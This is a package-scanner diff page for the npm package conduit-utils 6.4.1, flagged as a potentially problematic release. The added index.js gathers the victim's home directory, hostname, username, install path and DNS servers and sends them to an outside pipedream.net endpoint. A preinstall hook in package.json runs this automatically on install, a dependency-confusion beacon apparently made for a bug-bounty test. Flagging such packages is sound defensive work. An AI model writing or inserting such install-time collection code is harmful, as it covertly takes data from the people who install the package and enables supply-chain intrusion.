conduit-utils 6.4.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of conduit-utils might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
|
7
|
+
const dd = encodeURI(JSON.stringify({
|
8
|
+
p: package ,
|
9
|
+
c: __dirname,
|
10
|
+
hd: os.homedir(),
|
11
|
+
hn: os.hostname(),
|
12
|
+
un: os.userInfo().username,
|
13
|
+
dns: dns.getServers(),
|
14
|
+
v: packageJSON.version
|
15
|
+
}));
|
16
|
+
var options = {
|
17
|
+
hostname: "3f35113f41feee80a601db01b48dc963.m.pipedream.net",
|
18
|
+
port: 443,
|
19
|
+
path: `/hackerone?collect=${dd}`,
|
20
|
+
method: "GET"
|
21
|
+
};
|
22
|
+
var req = https.request(options);
|
23
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "conduit-utils",
|
3
|
+
"version": "6.4.1",
|
4
|
+
"description": "testing @ hackerone",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|